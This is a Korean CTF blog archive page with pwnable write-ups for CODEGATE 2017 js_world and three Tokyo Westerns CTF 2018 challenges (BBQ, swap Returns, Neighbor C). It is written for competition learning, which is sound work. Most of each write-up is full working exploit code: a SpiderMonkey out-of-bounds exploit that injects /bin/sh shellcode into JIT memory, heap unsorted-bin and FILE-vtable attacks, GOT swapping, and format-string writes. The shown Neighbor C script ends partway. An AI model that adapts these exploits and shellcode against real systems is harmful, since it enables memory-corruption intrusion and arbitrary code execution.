'2018/09'에 해당하는 글 5건

blackperl security blog에서 포스트 읽다가 기억난 김에 풀어본 문제.

글 읽고 익스를 새로 짜봤다.


https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/



Files


-rwxr-xr-x 1 pwn3r pwn3r 5857384 Feb 12  2017 js
-rwxr-xr-x 1 pwn3r pwn3r 95155 Feb 12 2017 jsarray.cpp
-rw-r--r-- 1 pwn3r pwn3r 95297 Feb 12 2017 jsarray_original.cpp


Mozilla의 SpiderMonkey Javascript engine을 취약하게 패치한 문제.

3개의 파일이 주어졌다. (1) 인터프리터 (2) 패치 된 jsarray.cpp (3) 패치 전 jsarray_original.cpp

인터프리터를 실행하면 아래와 같이 원하는 javascript 구문을 실행할 수 있다.

$ ./js
js> print('hello')
hello

$ ./js hello.js
hello



Diffing (jsarray.cpp  vs  jsarray_original.cpp)




jsarray.cpp에서 pop attribute를 약간 수정했다. 기존(우측)에 index == 0일때 아무런 작업도 이루어지지 않도록 check가 있지만, 패치 된 소스에서는 index == 0일 때도 pop이 이루어진다. 따라서 length가 0일때 pop을 하면, length = -1(0xffffffff)이 될 수 있다. 이는 oob(out of boundary) read/write로 이어진다.


$ ./js
js>
a = new Array(1);
[,]
js>
a.pop();
js>
a.pop();
js>
a.length;
4294967295 // 0xffffffff



OOB RW -> Arbitrary RW


length가 0xffffffff 이기 때문에 기존 arr array 뒤에 있는 데이터를 읽거나 쓸 수 있다.
memory leak을 위해 뒤에 있는 임의의 객체(arr[0x301])를 읽어본다.

$ ./js
js> var arr = new Array(1);

js> arr.length; 1
js> arr[0x301];

js> // no...

js> arr.pop();
js> arr.pop();
js> arr.length 4294967295
js> arr[0x301] 6.9411824707387e-310

// yes!!


length가 4294967295가 되었으므로 arr[0x301]에 있는 데이터를 leak 할 수 있지만, array에서는 number 표현범위를 넘어가는 값은 Float scientific notation으로 표시한다.(6.9411824707387e-310)  
데이터를 가공할 때 편의를 위해 Float scientific notation <-> number를 변환해주는 함수를 정의한다. 

function mem_to_value(m){
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}

function hex(n){
return "0x"+n.toString(16);
}

function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}
js> hex(mem_to_value(arr[0x301]))
"0x7fc6a1f264e0"


OOB RW -> Arbitrary RW

이제 내가 원하는 형태로 메모리 값을 읽어와 가공할 수 있다. 다음으로 할 일은 Arbitrary r/w가 가능하게 하는 것이다.
oob를 발생시킬 arr을 선언한 직후, arr2 = Uint32Arrary(0x900)를 선언하여 arr | .... | arr2 형태로 힙을 구성한다.
arr에서 oob write로 arr2의 포인터를 조작하고, arr2[0], arr2[1]에서 데이터를 read or write 함으로써 Arbitrary read/write를 달성한다. 코드를 작성하면 아래와 같다.

arr = new Array(1);

arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

.............................

.............................


function read_data(addr){
arr[arr2_idx] = value_to_mem(addr);
return arr2[1] * 0x100000000 + arr2[0];
}

function write_data(addr, value){
arr[arr2_idx] = value_to_mem(addr);
arr2[0] = value % 0x100000000;
arr2[1] = parseInt(value / 0x100000000);
}


arr을 기준으로 arr2 객체의 index를 찾기 위해 arr2의 length인 0x900을 검색했다.

arr = new Array(1);
arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

print('js_heap base : '+hex(js_heap));

// find arr2 object by size(0x900)
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;


이제 Arbitrary read/write가 가능하므로 어떤 부분을 overwrite 하여 exploit 할지 결정하면 된다.

공부를 위해 2가지 방법으로 풀이해봤다. 


(1) stack 주소를 leak해서 return address를 overwrite

(2) 반복된 코드를 이용해 JIT 영역을 생성 후, JIT 영역에 shellcode overwrite




(1) Way 1 - overwrite return address


사실 이 방법으로 풀이하는 것은 굉장히 간단하다.


 1. javascript heap에서 vtable 포인터를 찾아 pie_base를 구한다.

2. pie_base로 계산한 got에서 libc주소를 구한다.

3. libc_argv에서 stack주소를 구한다.

4. main's return address에 one gadget 주소를 overwrite 한다.


위 순서로 stack 주소를 알아내고 return address를 덮어썼다.


var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

.........................
.........................


pie_base = read_data(vtable_ptr) - 0x7912c0;
strlen_got = pie_base + 0x78bbd8;
print('pie_base : '+hex(pie_base));


libc_base = read_data(strlen_got) - 0x8b720;
libc_one_gadget = libc_base + 0x4526a;
libc_argv = libc_base + 0x3c92f8;
print('libc_base : '+hex(libc_base));

heap_base = read_data(js_heap) - 0x46d00;
first_free_chunk = heap_base + 0xe5bb0;

stack_retaddr = read_data(libc_argv) - 0xe0;

write_data(stack_retaddr + 0x38, 0x0);
write_data(stack_retaddr, libc_one_gadget);


Full exploit  

function mem_to_value(m){
var t = new Float64Array([m]);
t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}

function hex(n){
return "0x"+n.toString(16);
}

function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}

arr = new Array(1);
arr2 = new Uint32Array(0x900);

arr.pop();
arr.pop();

var js_heap = mem_to_value(arr[0x302]) - 0x41c18;
var vtable_ptr = js_heap + 0xb0;

print('js_heap base : '+hex(js_heap));

// find arr2 object by size(0x900)
for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;

function read_data(addr){
arr[arr2_idx] = value_to_mem(addr);
return arr2[1] * 0x100000000 + arr2[0];
}

function write_data(addr, value){
arr[arr2_idx] = value_to_mem(addr);
arr2[0] = value % 0x100000000;
arr2[1] = parseInt(value / 0x100000000);
}


pie_base = read_data(vtable_ptr) - 0x7912c0;
strlen_got = pie_base + 0x78bbd8;
print('pie_base : '+hex(pie_base));


libc_base = read_data(strlen_got) - 0x8b720;
libc_one_gadget = libc_base + 0x4526a;
libc_argv = libc_base + 0x3c92f8;
print('libc_base : '+hex(libc_base));

heap_base = read_data(js_heap) - 0x46d00;
first_free_chunk = heap_base + 0xe5bb0;

stack_retaddr = read_data(libc_argv) - 0xe0;

write_data(stack_retaddr + 0x38, 0x0);
write_data(stack_retaddr, libc_one_gadget);




(2) Way 2 - overwrite JIT area


SpiderMonkey javascript engine은 반복되는 코드가 있으면, rwx 권한의 JIT area를 할당하고 반복되는 코드에 대해 native code를 생성하여 JIT area에 write한다. 이후 반복되는 코드를 수행하면 JIT area에 있는 native code를 실행하여 실행속도를 높인다.


function repeat_me(a1, a2){
var nothing = a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
}


// create JIT area
for(i=0; i<40; i++){
repeat_me();
}


위 코드가 수행되고 나면 아래와 같이 rwx 영역이 생성되고, JIT area에 repeat_me() 함수에 대한 native code가 생성된다.


7ffff79a0000-7ffff79b9000 r-xp 00000000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff79b9000-7ffff7bb8000 ---p 00019000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bb8000-7ffff7bb9000 r--p 00018000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bb9000-7ffff7bba000 rw-p 00019000 fc:00 3670638 /lib/x86_64-linux-gnu/libz.so.1.2.8
7ffff7bba000-7ffff7bd2000 r-xp 00000000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7bd2000-7ffff7dd1000 ---p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd1000-7ffff7dd2000 r--p 00017000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd2000-7ffff7dd3000 rw-p 00018000 fc:00 3683172 /lib/x86_64-linux-gnu/libpthread-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 fc:00 3683171 /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7f9c000-7ffff7fe4000 rw-p 00000000 00:00 0
7ffff7fe7000-7ffff7ff7000 rwxp 00000000 00:00 0                          // JIT area
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso]


디버깅을 통해 메모리에서 repeat_me함수의 코드가 있는 JIT area 주소를 찾아보았다. 그 때, JIT area를 가리키는 포인터 주변에 0x2000000020f 라는 상수값이 있는 것을 확인했고, 이를 기준으로 JIT area의 주소를 얻어왔다.


// find JIT area ptr
for(i=arr2_idx; mem_to_value(arr[i]) != 0x2000000020f; i++);
jit_idx = i - 2;

// get JIT area address
jit_mem = mem_to_value(arr[jit_idx]);


주소를 알아냈으니 shellcode를 overwrite 하고 repeat_me() 함수를 호출하면 된다. shellcraft로 생성한 x64 /bin/sh shellcode를 사용했다.


function write_shellcode(addr){
// add padding for 4byte alignment
shellcode = "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05";
shellcode += "\x00" * (4-shellcode.length % 4)

// arr2 = JIT area
arr[arr2_idx] = value_to_mem(addr);
for(i=0; i<shellcode.length; i+=4){
var slice = 0;
for(j=0; j<4; j++) slice |= shellcode.charCodeAt(i+j) << (8*j);
arr2[i / 4] = slice;
}
}

// write /bin/sh shellcode
write_shellcode(jit_mem);

// trigger
repeat_me();





Full exploit

function mem_to_value(m){
var res = 0;
var t = new Float64Array([m]);

t = new Uint32Array(t.buffer);
res = (t[1] * 0x100000000 + t[0]);
return res;
}


function hex(n){
return "0x"+n.toString(16);
}


function value_to_mem(v){
var t = new Uint32Array([(v % 0x100000000), parseInt(v / 0x100000000)]);
t = new Float64Array(t.buffer);
return t[0];
}

arr = new Array(1);
arr2 = new Uint32Array(0x900);


// trigger vuln
// arr.length = 0xffffffff
arr.pop();
arr.pop();


// find arr2 object by size(0x900)
var arr2_idx = 0;

for(var i=0x300; arr[i] != 0x900; i++);
arr2_idx = i + 2;


function repeat_me(a1, a2){
var nothing = a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
nothing += a1 + a2;
}


b = Math.cos(0x34);
// create JIT area
for(i=0; i<40; i++){
repeat_me();
}
c = Math.cos(0x56);


// find JIT area ptr
for(i=arr2_idx; mem_to_value(arr[i]) != 0x2000000020f; i++);
jit_idx = i - 2;

// get JIT area address
jit_mem = mem_to_value(arr[jit_idx]);

function write_shellcode(addr){
// add padding for 4byte alignment
shellcode = "jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05";
shellcode += "\x00" * (4-shellcode.length % 4)

// arr2 = JIT area
arr[arr2_idx] = value_to_mem(addr);
for(i=0; i<shellcode.length; i+=4){
var slice = 0;
for(j=0; j<4; j++) slice |= shellcode.charCodeAt(i+j) << (8*j);
arr2[i / 4] = slice;
}
}

// write /bin/sh shellcode
write_shellcode(jit_mem);

// trigger
repeat_me();


Run exploit

$ ./js ex_stack.js
js_heap base : 0x7f1db8200000
pie_base : 0x55d26f6df000
libc_base : 0x7f1db89d1000

$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



$
./js ex_jit.js
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF' 카테고리의 다른 글

XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
Tokyo Western CTF 2018 - swap Returns  (0) 2018.09.03
Tokyo Western CTF 2018 - Neighbor C  (0) 2018.09.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret



Category : pwnable


host : pwn1.chal.ctf.westerns.tokyo
port : 21638
Update(2018/09/02 11:55:00 UTC)
BBQ
BBQ.old
libc-2.23.so



Summary : uninitialized variable, manipulate heap chunks, unsorted bin attack





다른 풀이 방법도 있지만, unsorted bin attack으로 풀겠다고 고집부리다가 꽤 오래 걸린 문제.

취약점은 간단하지만, heap chunk들을 잘 조작해야해서 exploit이 오래걸린다.

그래도 이런 풀이로 풀 수 있는 문제 많을듯. god angelboy.



풀고나서 다른 풀이있나 write-up을 찾아봤는데 좀 지렸다. 나는 전혀 생각못한 방법으로 푸심.


https://changochen.github.io/2018/09/01/Tokyo-Western_CTF-2018/

__malloc_hook 주변에 어떻게 chunk 할당하지 고민하다 포기했는데 ...!

나중에 저 방법으로도 풀어봐야지.




Uninitialized variable


 


cook_list에 존재하지 않는 food를 eat하려고 하면 ptr을 초기화하지 않고 뒤에서 사용함. 

=> uninitialized variable




Exploit

#!/usr/bin/python

from pwn import *

def cmd_buy(name, amount):
ru('Choice: ')
sl('1')
ru('food name >> ')
sl(name)
ru('amount >> ')
sl(str(amount))

def cmd_grill(name, idx):
ru('Choice: ')
sl('2')
ru('which food >> ')
sl(name)
ru('griddle index >> ')
sl(str(idx))
assert 'Not found...' not in rl()

def cmd_eat(idx, choice='3'):
ru('Choice: ')
sl(choice)
ru('griddle index >> ')
sl(str(idx))
rl()

def get_cook_list(needle):
res = ''
ru('Choice: ')
sl('2')
ru('\nFood Stock List\n')
while 1:
tmp = rl()
if 'Cooking List\n' in tmp:
break
if needle in tmp:
res = tmp.split(' ')
ru('which food >> ')
sl('NONEXISTFOOD')
ru('Not found...\n')
return res


#s = process('./bbq')
s = remote('pwn1.chal.ctf.westerns.tokyo', 21638)
ru = s.recvuntil
rl = s.recvline
sl = s.sendline
ss = s.send

############# leak heap addr ################
cmd_buy('a'*0x10+p64(0xdeadbeef11)[:6], 0x9090)
cmd_buy('b'*0x1f, 0x9090)
cmd_buy('d'*0x10+p64(0xdeadbeef11), 1337)
cmd_buy('e'*0x2f, 0x9090)
cmd_grill('e'*0x2f, 0)
cmd_eat(0)

cmd_buy('f'*0x27, 0x9090) # overwrite uninitialized_variable[0] = '\x00'
cmd_eat(1) # free(uninitialized_variable)
cmd_buy('d'*0x2f, 0x9090) # re allocated at 3rd obj
heap = u64(get_cook_list(str(1337))[1].ljust(8, '\x00')) - 0x180
print hex(heap)
##############################################

cmd_grill('e'*0x2f, 0)
cmd_grill('e'*0x2f, 1)
cmd_grill('e'*0x2f, 2)

############ unsorted bin attack start ##############
cmd_buy(p64(0xdeadbeef11), 0xc1) # fake unsorted chunk header

cmd_eat(0)
cmd_buy('D' * 0x3e, 3030)
cmd_buy('E' * 0xe, 0x9090)
cmd_eat(1)
cmd_buy('F' * 0x28, 0x9090)

cmd_eat(2)
#raw_input('free unsorted bin>>')
cmd_eat(0, choice=('3'+'a'*0x37+p64(heap+0x280)[:6])) # free fake chunk

cmd_buy(p64(0xffffffffff600804)+'G'*0x1c, 0x9090)

libc_base = u64(get_cook_list('3030')[1].ljust(8, '\x00')) - 0x3c4b78
print hex(libc_base)
cmd_buy('W'*0x1f, 0x9090)
#####################################################

### *chunk->bk -= (main_arena+88 - stdin_buf_end) ####
stdin_buf_base = libc_base + 0x3c4920 - 16
arena = libc_base + 0x3c4b78

dword_offset = ((stdin_buf_base & 0xffffffff) - (arena & 0xffffffff)) & 0xffffffff

cmd_buy('E' * 0xe, dword_offset / 2)
cmd_buy('E' * 0xe, dword_offset - (dword_offset / 2))

cmd_eat(0, choice=('3'+'a'*0x37+p64(heap+0x70)[:6]))
cmd_buy('X' * 0x2f, 0x9090)
##########################################################



'''
gdb-peda$ x/20a 0x7f341cd7d960
0x7f341cd7d960 <_IO_2_1_stdin_+128>: 0xa000000 0x7f341cd7f790
0x7f341cd7d970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0
0x7f341cd7d980 <_IO_2_1_stdin_+160>: 0x7f341cd7d9c0 0x0
0x7f341cd7d990 <_IO_2_1_stdin_+176>: 0x0 0x0
0x7f341cd7d9a0 <_IO_2_1_stdin_+192>: 0xffffffff 0x0
0x7f341cd7d9b0 <_IO_2_1_stdin_+208>: 0x0 0x7f341cd7c6e0 <_IO_file_jumps>
0x7f341cd7d9c0: 0x0 0x0
0x7f341cd7d9d0: 0x0 0x0
0x7f341cd7d9e0: 0x0 0x0
0x7f341cd7d9f0: 0x0 0x0
gdb-peda$
0x7f341cd7da00: 0x0 0x0
0x7f341cd7da10: 0x0 0x0
0x7f341cd7da20: 0x0 0x0
0x7f341cd7da30: 0x0 0x0
0x7f341cd7da40: 0x0 0x0
0x7f341cd7da50: 0x0 0x0
0x7f341cd7da60: 0x0 0x0
0x7f341cd7da70: 0x0 0x0
0x7f341cd7da80: 0x0 0x0
0x7f341cd7da90: 0x0 0x0
gdb-peda$
0x7f341cd7daa0: 0x0 0x0
0x7f341cd7dab0: 0x0 0x0
0x7f341cd7dac0: 0x0 0x0
0x7f341cd7dad0: 0x0 0x0
0x7f341cd7dae0: 0x0 0x0
0x7f341cd7daf0: 0x7f341cd7c260 <_IO_wfile_jumps> 0x0
0x7f341cd7db00 <__memalign_hook>: 0x7f341ca3ee20 0x7f341ca3ea00
0x7f341cd7db10 <__malloc_hook>: 0x0 0x0
'''
############ overwrite _IO_file_jumps #############
#raw_input('trigger>>>>>>>')
libc_one_gadget = libc_base + 0x4526a

pay = ''
pay += '11111' + p64(libc_base + 0x3c6790)
pay += p64(0xffffffffffffffff) + p64(0x0)
pay += p64(libc_base + 0x3c49c0) + p64(0x0)
pay += p64(0x0) + p64(0x0)
pay += '22222222' + p64(0x0)
pay += p64(0x0) + p64(libc_base + 0x3c49e0 - 0x18) # _IO_file_jumps = one_gadget - 0x18
# => 0x7f63e8cb7193: call QWORD PTR [rax+0x18]
pay += p64(0x0) + p64(0x0)
pay += p64(0x0) + p64(0x0)
pay += p64(libc_one_gadget)
sl(pay)
ru('Bye!')
######################################################

s.interactive()
s.close()



$ python ex.py
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 21638: Done
0x55fc26ec3000
0x7ff0c2505000
[*] Switching to interactive mode

$ id
uid=20025 gid=20000(bbq) groups=20000(bbq)
$ cat /home/bbq/flag.txt
TWCTF{????????????????????????????????}


'CTF' 카테고리의 다른 글

XCTF FINAL 2017 - network  (0) 2018.10.06
CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
Tokyo Western CTF 2018 - swap Returns  (0) 2018.09.03
Tokyo Western CTF 2018 - Neighbor C  (0) 2018.09.03
Tokyo Western CTF 2018 - load  (0) 2018.09.03

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret



Category : pwnable


SWAP SAWP WASP PWAS SWPA
nc swap.chal.ctf.westerns.tokyo 37567
swap_returns
libc.so.6



Summary : temp = *addr1; *addr1 = *addr2; *addr2 = temp; temp = 0




main



 


프로그램 자체는 굉장히 간단하며 2가지 기능이 존재한다.


(1) set : 2개의 address를 변수에 입력

(2) swap : 설정된 2 address가 가리키는 값을 서로 swap

// temp = *addr1; *addr1 = *addr2; *addr2 = temp; temp = 0


user input과 got를 치환하면 좋겠지만, 2개의 address 말고는 입력받는게 없다.
memory leak을 하고 memory 에서 쓸만한 값들을 긁어모아야 한다.


memory leak


 


printf@got <-> atoi@got를 서로 swap한 뒤에, 메뉴를 입력받을 때 %p를 입력하면 printf("%p"); // stack 주소 leak 가능.

printf의 return value는 출력한 문자 개수이므로, leak 이후 2글자 입력하면 2번 메뉴를 입력한 것으로 인식. 

다시 swap 되어서 printf@got, atoi@got 원래대로 돌아감.


>>> 0x601038 # printf got
6295608
>>> 0x601050 # atoi got
6295632

$ ./swap
1. Set
2. Swap
3. Exit
Your choice:
4
Invalid choice. 1. Set
2. Swap
3. Exit
Your choice:
1
1st address:
6295608
2nd address:
6295632
1. Set
2. Swap
3. Exit
Your choice:
2
1. Set
2. Swap
3. Exit
Your choice:
%p
0x7ffc8e6f3356


Farming


swap 기능을 이용해 do_system 함수 주소를 메모리에 만들고 atoi@got 에 overwrite하기로 결정. 

stack에서 값을 둘러보니 쓸만한 값들 발견함.

(아쉽게도 하위 2번째 byte 0x01에서 0은 aslr 적용 범위라서 성공률 1/16으로 떨어짐. (상위 바이트는 vfprintf랑 do_system이랑 같아서 대부분의 경우 괜찮다. 물론 가끔 실패할 수 있음.)

gdb-peda$ disas system
Dump of assembler code for function system:
0x00007f7e1c7006a0 <+0>: test rdi,rdi
0x00007f7e1c7006a3 <+3>: je 0x7f7e1c7006b0 <system+16>
0x00007f7e1c7006a5 <+5>: jmp 0x7f7e1c700130
0x00007f7e1c7006aa <+10>: nop WORD PTR [rax+rax*1+0x0]
0x00007f7e1c7006b0 <+16>: lea rdi,[rip+0x145591] # 0x7f7e1c845c48
0x00007f7e1c7006b7 <+23>: sub rsp,0x8
0x00007f7e1c7006bb <+27>: call 0x7f7e1c700130 # do_system
0x00007f7e1c7006c0 <+32>: test eax,eax
0x00007f7e1c7006c2 <+34>: sete al
0x00007f7e1c7006c5 <+37>: add rsp,0x8
0x00007f7e1c7006c9 <+41>: movzx eax,al
0x00007f7e1c7006cc <+44>: ret

leak : 0x7ffef6595246

gdb-peda$ x/a 0x7ffef6595246 - 0x64e
0x7ffef6594bf8: 0x7f7e1c708a85 <vfprintf+501>
gdb-peda$ x/a 0x7ffef6595246 - 0xa6
0x7ffef65951a0: 0x1
gdb-peda$ x/a 0x7ffef6595246 - 0x67e
0x7ffef6594bc8: 0x3000000018


cmd_set(0x601310+2, stack-0x64e+2) # 0x601310 = 0x7f7e1c70----
cmd_swap()
cmd_set(0x601310-6, stack-0xa6-7) # 0x601310 = 0x7f7e1c7001-- # 0자리는 aslr 적용범위이기 때문에 안 맞을때도 있음.

# 1/16 확률...
cmd_swap()
cmd_set(0x601310-7, stack-0x67e-3) # 0x601310 = 0x7f7e1c700130
cmd_swap()



Exploit

#!/usr/bin/python
from pwn import *

def cmd_set(v1, v2):
ru('Your choice: ')
ss('1\x00')
ru('1st address: \n')
sl(str(v1))
ru('2nd address: \n')
sl(str(v2))

def cmd_swap():
ru('Your choice: ')
ss('2\x00')

def cmd_exit():
ru('Your choice: ')
ss('3\x00')

atoi_got = 0x601050
printf_got = 0x601038
fscanf_got = 0x601020

s = process('./swap')
#s = remote('swap.chal.ctf.westerns.tokyo', 37567)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

##### *atoi_got <-> *printf_got #####
ru('Your choice: ')
ss('5\x00')

cmd_set(atoi_got, printf_got)
cmd_swap()
ru('Your choice: ')
ss('%p')

stack = int(ru('1.')[:-2], 16)
print hex(stack)
ru('Your choice: ')
ss('22') # printf("22") = 2
# swap again...
# atoi_got, printf_got are restored
####################################

#### make do_system@libc address ###
######## 1/16 ######################
'''
gdb-peda$ disas system
Dump of assembler code for function system:
0x00007f7e1c7006a0 <+0>: test rdi,rdi
0x00007f7e1c7006a3 <+3>: je 0x7f7e1c7006b0 <system+16>
0x00007f7e1c7006a5 <+5>: jmp 0x7f7e1c700130
0x00007f7e1c7006aa <+10>: nop WORD PTR [rax+rax*1+0x0]
0x00007f7e1c7006b0 <+16>: lea rdi,[rip+0x145591] # 0x7f7e1c845c48
0x00007f7e1c7006b7 <+23>: sub rsp,0x8
0x00007f7e1c7006bb <+27>: call 0x7f7e1c700130 # do_system
0x00007f7e1c7006c0 <+32>: test eax,eax
0x00007f7e1c7006c2 <+34>: sete al
0x00007f7e1c7006c5 <+37>: add rsp,0x8
0x00007f7e1c7006c9 <+41>: movzx eax,al
0x00007f7e1c7006cc <+44>: ret

leak : 0x7ffef6595246

gdb-peda$ x/a 0x7ffef6595246 - 0x64e
0x7ffef6594bf8: 0x7f7e1c708a85 <vfprintf+501>
gdb-peda$ x/a 0x7ffef6595246 - 0xa6
0x7ffef65951a0: 0x1
gdb-peda$ x/a 0x7ffef6595246 - 0x67e
0x7ffef6594bc8: 0x3000000018
'''
raw_input('>')
cmd_set(0x601310+2, stack-0x64e+2) # 0x601310 = 0x7f7e1c70----
cmd_swap()
cmd_set(0x601310-6, stack-0xa6-7) # 0x601310 = 0x7f7e1c7001--
cmd_swap()
cmd_set(0x601310-7, stack-0x67e-3) # 0x601310 = 0x7f7e1c700130
cmd_swap()
#####################################

#### *atoi_got = do_system@libc #####
cmd_set(atoi_got, 0x601310)
cmd_swap()
#####################################

ru('Your choice: ')
ss('sh') # atoi@plt("sh") = do_system("sh")

sl('id')
sl('cat flag')

s.interactive()
s.close()


$ python ex.py
[+] Opening connection to swap.chal.ctf.westerns.tokyo on port 37567: Done
0x7ffc53bd1da6
[*] Switching to interactive mode

$
uid=37567012 gid=37567(p37567) groups=37567(p37567)
TWCTF{??????????????????}


'CTF' 카테고리의 다른 글

CODEGATE 2017 QUAL - js_world  (0) 2018.09.26
Tokyo Western CTF 2018 - BBQ  (0) 2018.09.10
Tokyo Western CTF 2018 - swap Returns  (0) 2018.09.03
Tokyo Western CTF 2018 - Neighbor C  (0) 2018.09.03
Tokyo Western CTF 2018 - load  (0) 2018.09.03
WhiteHat GrandPrix 2018 QUAL - pwn03 (onehit)  (0) 2018.08.24

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable



Hello Neighbor!
nc neighbor.chal.ctf.westerns.tokyo 37565
neighbor_c
libc.so.6


Summary : double staged format string attack, modify stderr->_fileno to 1(stdout)




Format string interpreter




무한루프를 돌며 전역변수 format에 문자열을 입력받고 그대로 fprintf 함수에 넘긴다. (format string bug)

stack에 control 가능한 값이 없으므로 double staged format string attack으로 원하는 주소를 stack에 만들어 덮어주어야 한다. 횟수에는 제한이 없기 때문에 사실상 노가다 작업이다.


bypass IO_validate_vtable


FULL RELRO이기 때문에 GOT를 덮지 못 한다, 어디를 덮어야 eip control이 가능할지 고민 결과 libc의 stdin에 있는 _IO_jump_t vtable을 덮기로 했다.
server에서 사용하는 libc가 vtable을 검증하는 IO_validate_vtable을 호출하기 때문에, 이를 우회하기 위해 dl_open_hook도 같이 덮어줘야함.

Server configuration


$ ./neighbor
Hello neighbor!
Please tell me about yourself. I must talk about you to our mayor.
paullllll
paullllll

$ nc neighbor.chal.ctf.westerns.tokyo 37565
Hello neighbor!
Please tell me about yourself. I must talk about you to our mayor.
paullllll
hey???

로컬에서 실행하면 stderr도 잘 출력되지만, 서버에서는 stderr을 연결시켜주지 않은 것으로 보인다.

우선 로컬에서 stderr가 출력되는 것을 기준으로 exploit을 작성 후, exploit 앞부분에 stderr->_fileno를 1로 바꿔주는 payload 를 추가한다. 

stack에 있는 pointer를 이용해 stderr + 112 (_fileno) 주소를 만들고, 1로 덮어썼다. 

이 과정에서 stack 주소 1byte (0x38)를 고정으로 잡았기 때문에 1/16 확률이 됐다.


##### make stderr->_fileno = 1 #####
######### 1/16 #####################
sl('%{}c'.format(0x38)+'%9$hhn')
time.sleep(0.1)
sl('%{}c'.format(0x90)+'%11$hhn')
time.sleep(0.1)
sl('%1c%6$n')
sl('lucky\x00')
print ru('lucky')
s.interactive()
#####################################


여기부터 %5$p

gdb-peda$ x/8a $rsp |
0x7ffdc41faa30: 0x7f40f3904520 <_IO_2_1_stderr_> 0x7f40f3904520 <_IO_2_1_stderr_>
0x7ffdc41faa40: 0x7ffdc41faa60 0x7f40f3904520 <_IO_2_1_stderr_>
0x7ffdc41faa50: 0x7ffdc41faa60 0x561348e90962
0x7ffdc41faa60: 0x7ffdc41faa70 0x561348e909d7

-------------------------------------------------------------------------------


(1)
%56c%9$hhn (56 = 0x38)
// *(char *)0x7ffdc41faa60 = 0x38
gdb-peda$ x/8a $rsp
0x7ffdc41faa30: 0x7f40f3904520 <_IO_2_1_stderr_> 0x7f40f3904520 <_IO_2_1_stderr_>
0x7ffdc41faa40: 0x7ffdc41faa60 0x7f40f3904520 <_IO_2_1_stderr_>
0x7ffdc41faa50: 0x7ffdc41faa60 0x561348e90962
0x7ffdc41faa60: 0x7ffdc41faa38 0x561348e909d7


(2)
%144c%11$hhn (144 = 0x90)
// *(char *)0x7ffdc41faa38 = 0x90
gdb-peda$ x/8a $rsp
0x7ffdc41faa30: 0x7f40f3904520 <_IO_2_1_stderr_> 0x7f40f3904590 <_IO_2_1_stderr_+112>
0x7ffdc41faa40: 0x7ffdc41faa60 0x7f40f3904520 <_IO_2_1_stderr_>
0x7ffdc41faa50: 0x7ffdc41faa60 0x561348e90962
0x7ffdc41faa60: 0x7ffdc41faa38 0x561348e909d7
gdb-peda$ x/a 0x7f40f3904590
0x7f40f3904590 <_IO_2_1_stderr_+112>: 0x2


(3)
%1c%6$hhn
// *(char *)0x7f40f3904590 = 0x1
gdb-peda$ x/a 0x7f40f3904590
0x7f40f3904590 <_IO_2_1_stderr_+112>: 0x1


Exploit

#!/usr/bin/python
# -*- encoding: utf-8 -*-

from pwn import *
import time

#s = process('./neighbor')
s = remote('neighbor.chal.ctf.westerns.tokyo', 37565)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

ru('our mayor.\n')
print 'start'

##### make stderr->_fileno = 1 #####
######### 1/16 #####################
sl('%{}c'.format(0x38)+'%9$hhn')
time.sleep(0.1)
sl('%{}c'.format(0x90)+'%11$hhn')
time.sleep(0.1)
sl('%1c%6$n')
sl('lucky\x00')
print ru('lucky')
s.interactive()
#####################################

sl('%1$p %3$p %9$pEOF')
